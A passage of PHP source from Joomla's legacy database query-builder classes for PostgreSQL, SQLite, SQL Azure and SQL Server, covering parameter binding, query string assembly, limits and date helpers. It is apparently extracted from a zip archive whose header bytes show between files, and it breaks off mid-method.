* @return JDatabaseQueryPgsql
*
* @since 3.9.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.9.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryPgsql Returns this object to allow chaining.
*
* @since 3.9.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
return parent::clear($clause);
}
}
PKIn�[�Za�BBdatabase/query/postgresql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.3
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseQueryPostgresql extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* @var object The FOR UPDATE element used in "FOR UPDATE"
lock
* @since 1.7.3
*/
protected $forUpdate = null;
/**
* @var object The FOR SHARE element used in "FOR SHARE"
lock
* @since 1.7.3
*/
protected $forShare = null;
/**
* @var object The NOWAIT element used in "FOR SHARE" and
"FOR UPDATE" lock
* @since 1.7.3
*/
protected $noWait = null;
/**
* @var object The LIMIT element
* @since 1.7.3
*/
protected $limit = null;
/**
* @var object The OFFSET element
* @since 1.7.3
*/
protected $offset = null;
/**
* @var object The RETURNING element of INSERT INTO
* @since 1.7.3
*/
protected $returning = null;
/**
* Magic function to convert the query to a string, only for postgresql
specific query
*
* @return string The completed query.
*
* @since 1.7.3
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber &&
$this->selectRowNumber['native'] === false)
{
// Workaround for postgresql version less than 8.4.0
try
{
$this->db->setQuery('CREATE TEMP SEQUENCE
ROW_NUMBER');
$this->db->execute();
}
catch (JDatabaseExceptionExecuting $e)
{
// Do nothing, sequence exists
}
$orderBy = $this->selectRowNumber['orderBy'];
$orderColumnAlias =
$this->selectRowNumber['orderColumnAlias'];
$columns = "nextval('ROW_NUMBER') - 1 AS
$orderColumnAlias";
if ($this->select === null)
{
$query = PHP_EOL . "SELECT 1"
. (string) $this->from
. (string) $this->where;
}
else
{
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$columns = "w.*, $columns";
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
}
// Add support for second order by, offset and limit
$query = PHP_EOL . "SELECT $columns FROM (" . $query .
PHP_EOL . "ORDER BY $orderBy"
. PHP_EOL . ") w,(SELECT setval('ROW_NUMBER', 1)) AS
r";
if ($this->order)
{
$query .= (string) $this->order;
}
break;
}
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber)
{
if ($this->order)
{
$query .= (string) $this->order;
}
break;
}
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this->forUpdate)
{
$query .= (string) $this->forUpdate;
}
else
{
if ($this->forShare)
{
$query .= (string) $this->forShare;
}
}
if ($this->noWait)
{
$query .= (string) $this->noWait;
}
break;
case 'update':
$query .= (string) $this->update;
$query .= (string) $this->set;
if ($this->join)
{
$tmpFrom = $this->from;
$tmpWhere = $this->where ? clone $this->where : null;
$this->from = null;
// Workaround for special case of JOIN with UPDATE
foreach ($this->join as $join)
{
$joinElem = $join->getElements();
$joinArray = preg_split('/\sON\s/i', $joinElem[0]);
if (count($joinArray) > 2)
{
$condition = array_pop($joinArray);
$joinArray = array(implode(' ON ', $joinArray),
$condition);
}
$this->from($joinArray[0]);
if (isset($joinArray[1]))
{
$this->where($joinArray[1]);
}
}
$query .= (string) $this->from;
if ($this->where)
{
$query .= (string) $this->where;
}
$this->from = $tmpFrom;
$this->where = $tmpWhere;
}
elseif ($this->where)
{
$query .= (string) $this->where;
}
break;
case 'insert':
$query .= (string) $this->insert;
if ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
if ($this->returning)
{
$query .= (string) $this->returning;
}
}
break;
default:
$query = parent::__toString();
break;
}
if ($this instanceof JDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function clear($clause = null)
{
switch ($clause)
{
case 'limit':
$this->limit = null;
break;
case 'offset':
$this->offset = null;
break;
case 'forUpdate':
$this->forUpdate = null;
break;
case 'forShare':
$this->forShare = null;
break;
case 'noWait':
$this->noWait = null;
break;
case 'returning':
$this->returning = null;
break;
case 'select':
case 'update':
case 'delete':
case 'insert':
case 'from':
case 'join':
case 'set':
case 'where':
case 'group':
case 'having':
case 'order':
case 'columns':
case 'values':
parent::clear($clause);
break;
default:
$this->type = null;
$this->limit = null;
$this->offset = null;
$this->forUpdate = null;
$this->forShare = null;
$this->noWait = null;
$this->returning = null;
parent::clear($clause);
break;
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.3
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value . '::text';
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.3
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Gets the current date and time.
*
* @return string Return string used in query to obtain
*
* @since 1.7.3
*/
public function currentTimestamp()
{
return 'NOW()';
}
/**
* Sets the FOR UPDATE lock on select's output row
*
* @param string $tableName The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return JDatabaseQueryPostgresql FOR UPDATE query element
*
* @since 1.7.3
*/
public function forUpdate($tableName, $glue = ',')
{
$this->type = 'forUpdate';
if (is_null($this->forUpdate))
{
$glue = strtoupper($glue);
$this->forUpdate = new JDatabaseQueryElement('FOR UPDATE',
'OF ' . $tableName, "$glue ");
}
else
{
$this->forUpdate->append($tableName);
}
return $this;
}
/**
* Sets the FOR SHARE lock on select's output row
*
* @param string $tableName The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return JDatabaseQueryPostgresql FOR SHARE query element
*
* @since 1.7.3
*/
public function forShare($tableName, $glue = ',')
{
$this->type = 'forShare';
if (is_null($this->forShare))
{
$glue = strtoupper($glue);
$this->forShare = new JDatabaseQueryElement('FOR SHARE',
'OF ' . $tableName, "$glue ");
}
else
{
$this->forShare->append($tableName);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 3.0.0
*/
public function year($date)
{
return 'EXTRACT (YEAR FROM ' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 3.0.0
*/
public function month($date)
{
return 'EXTRACT (MONTH FROM ' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 3.0.0
*/
public function day($date)
{
return 'EXTRACT (DAY FROM ' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 3.0.0
*/
public function hour($date)
{
return 'EXTRACT (HOUR FROM ' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 3.0.0
*/
public function minute($date)
{
return 'EXTRACT (MINUTE FROM ' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 3.0.0
*/
public function second($date)
{
return 'EXTRACT (SECOND FROM ' . $date . ')';
}
/**
* Sets the NOWAIT lock on select's output row
*
* @return JDatabaseQueryPostgresql NO WAIT query element
*
* @since 1.7.3
*/
public function noWait ()
{
$this->type = 'noWait';
if (is_null($this->noWait))
{
$this->noWait = new JDatabaseQueryElement('NOWAIT', null);
}
return $this;
}
/**
* Set the LIMIT clause to the query
*
* @param integer $limit An int of how many row will be returned
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function limit($limit = 0)
{
if (is_null($this->limit))
{
$this->limit = new JDatabaseQueryElement('LIMIT', (int)
$limit);
}
return $this;
}
/**
* Set the OFFSET clause to the query
*
* @param integer $offset An int for skipping row
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function offset($offset = 0)
{
if (is_null($this->offset))
{
$this->offset = new JDatabaseQueryElement('OFFSET', (int)
$offset);
}
return $this;
}
/**
* Add the RETURNING element to INSERT INTO statement.
*
* @param mixed $pkCol The name of the primary key column.
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function returning($pkCol)
{
if (is_null($this->returning))
{
$this->returning = new JDatabaseQueryElement('RETURNING',
$pkCol);
}
return $this;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0)
{
$query .= ' LIMIT ' . $limit;
}
if ($offset > 0)
{
$query .= ' OFFSET ' . $offset;
}
return $query;
}
/**
* Add to the current date and time in Postgresql.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param string $date The db quoted string representation of the
date to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @note Not all drivers support all units. Check appropriate
references
* @link
http://www.postgresql.org/docs/9.0/static/functions-datetime.html.
*/
public function dateAdd($date, $interval, $datePart)
{
if (substr($interval, 0, 1) != '-')
{
return "timestamp " . $date . " + interval '" .
$interval . " " . $datePart . "'";
}
else
{
return "timestamp " . $date . " - interval '" .
ltrim($interval, '-') . " " . $datePart .
"'";
}
}
/**
* Return correct regexp operator for Postgresql.
*
* Ensure that the regexp operator is Postgresql compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 1.7.3
*/
public function regexp($value)
{
return ' ~* ' . $value;
}
/**
* Return correct rand() function for Postgresql.
*
* Ensure that the rand() function is Postgresql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RANDOM() ';
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
if (version_compare($this->db->getVersion(), '8.4.0')
>= 0)
{
$this->selectRowNumber['native'] = true;
$this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS
$orderColumnAlias");
}
else
{
$this->selectRowNumber['native'] = false;
}
return $this;
}
}
PKJn�[ T����database/query/preparable.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Database Query Preparable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 3.0.0
*/
interface JDatabaseQueryPreparable
{
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQuery
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array());
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null);
}
PKJn�[L�;�88database/query/sqlazure.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQuerySqlazure extends JDatabaseQuerySqlsrv
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
*
* @since 1.7.0
*/
protected $name_quotes = '';
}
PKJn�[� �(�(database/query/sqlite.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQuerySqlite extends JDatabaseQueryPdo implements
JDatabaseQueryPreparable, JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* @var array Bounded object array
* @since 3.0.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQuerySqlite
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 3.2.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'length(' . $field . ')' . (isset($operator)
&& isset($condition) ? ' ' . $operator . ' ' .
$condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 || $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date or datetime to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @link http://www.sqlite.org/lang_datefunc.html
*/
public function dateAdd($date, $interval, $datePart)
{
// SQLite does not support microseconds as a separate unit. Convert the
interval to seconds
if (strcasecmp($datePart, 'microseconds') == 0)
{
// Force the dot as a decimal point
$interval = str_replace(',', '.', .001 * $interval);
$datePart = 'seconds';
}
if (substr($interval, 0, 1) != '-')
{
return "datetime('" . $date . "', '+"
. $interval . " " . $datePart . "')";
}
else
{
return "datetime('" . $date . "', '"
. $interval . " " . $datePart . "')";
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 3.4
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP';
}
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber)
{
$orderBy = $this->selectRowNumber['orderBy'];
$orderColumnAlias =
$this->selectRowNumber['orderColumnAlias'];
$column = "ROW_NUMBER() AS $orderColumnAlias";
if ($this->select === null)
{
$query = PHP_EOL . "SELECT 1"
. (string) $this->from
. (string) $this->where;
}
else
{
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$column = "w.*, $column";
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
}
// Special sqlite query to count ROW_NUMBER
$query = PHP_EOL . "SELECT $column"
. PHP_EOL . "FROM ($query" . PHP_EOL . "ORDER BY
$orderBy"
. PHP_EOL . ") AS w,(SELECT ROW_NUMBER(0)) AS r"
// Forbid to flatten subqueries.
. ((string) $this->order ?: PHP_EOL . 'ORDER BY NULL');
return $this->processLimit($query, $this->limit,
$this->offset);
}
break;
case 'update':
if ($this->join)
{
$table = $this->update->getElements();
$table = $table[0];
$tableName = explode(' ', $table);
$tableName = $tableName[0];
if ($this->columns === null)
{
$fields = $this->db->getTableColumns($tableName);
foreach ($fields as $key => $value)
{
$fields[$key] = $key;
}
$this->columns = new JDatabaseQueryElement('()',
$fields);
}
$fields = $this->columns->getElements();
$elements = $this->set->getElements();
foreach ($elements as $nameValue)
{
$setArray = explode(' = ', $nameValue, 2);
if ($setArray[0][0] === '`')
{
// Unquote column name
$setArray[0] = substr($setArray[0], 1, -1);
}
$fields[$setArray[0]] = $setArray[1];
}
$select = new JDatabaseQuerySqlite($this->db);
$select->select(array_values($fields))
->from($table);
$select->join = $this->join;
$select->where = $this->where;
return 'INSERT OR REPLACE INTO ' . $tableName
. ' (' . implode(',', array_keys($fields)) .
')'
. (string) $select;
}
}
return parent::__toString();
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
return $this;
}
}
PKJn�[h��{�]�]database/query/sqlsrv.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQuerySqlsrv extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 1.7.0
*/
protected $name_quotes = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 1.7.0
*/
protected $null_date = '1900-01-01 00:00:00';
/**
* @var integer The affected row limit for the current SQL statement.
* @since 3.2
*/
protected $limit = 0;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 3.2
*/
protected $offset = 0;
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
// Add required aliases for offset or fixGroupColumns method
$columns = $this->fixSelectAliases();
$query = (string) $this->select;
if ($this->group)
{
$this->fixGroupColumns($columns);
}
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber === null)
{
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this instanceof JDatabaseQueryLimitable &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->insert->getElements();
$tableName = array_shift($elements);
$query .= 'VALUES ';
$query .= (string) $this->values;
if ($this->autoIncrementField)
{
$query = 'SET IDENTITY_INSERT ' . $tableName . '
ON;' . $query . 'SET IDENTITY_INSERT ' . $tableName . '
OFF;';
}
if ($this->where)
{
$query .= (string) $this->where;
}
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
if ($this->join)
{
$tmpUpdate = $this->update;
$tmpFrom = $this->from;
$this->update = null;
$this->from = null;
$updateElem = $tmpUpdate->getElements();
$updateArray = explode(' ', $updateElem[0]);
// Use table alias if exists
$this->update(end($updateArray));
$this->from($updateElem[0]);
$query .= (string) $this->update;
$query .= (string) $this->set;
$query .= (string) $this->from;
$this->update = $tmpUpdate;
$this->from = $tmpFrom;
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
else
{
$query .= (string) $this->update;
$query .= (string) $this->set;
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
default:
$query = parent::__toString();
break;
}
return $query;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return 'CAST(' . $value . ' as NVARCHAR(30))';
}
else
{
return 'CAST(' . $value . ' as NVARCHAR(' . $len .
'))';
}
}
/**
* Gets the function to determine the length of a character string.
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 1.7.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'DATALENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return '(' . implode('+' .
$this->quote($separator) . '+', $values) . ')';
}
else
{
return '(' . implode('+', $values) . ')';
}
}
/**
* Gets the current date and time.
*
* @return string
*
* @since 1.7.0
*/
public function currentTimestamp()
{
return 'GETDATE()';
}
/**
* Get the length of a string in bytes.
*
* @param string $value The string to measure.
*
* @return integer
*
* @since 1.7.0
*/
public function length($value)
{
return 'LEN(' . $value . ')';
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date to add to; type may be time or
datetime.
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @note Not all drivers support all units.
* @link http://msdn.microsoft.com/en-us/library/ms186819.aspx for more
information
*/
public function dateAdd($date, $interval, $datePart)
{
return 'DATEADD(' . $datePart . ', ' . $interval .
', ' . $date . ')';
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit)
{
$total = $offset + $limit;
$position = stripos($query, 'SELECT');
$distinct = stripos($query, 'SELECT DISTINCT');
if ($position === $distinct)
{
$query = substr_replace($query, 'SELECT DISTINCT TOP ' .
(int) $total, $position, 15);
}
else
{
$query = substr_replace($query, 'SELECT TOP ' . (int) $total,
$position, 6);
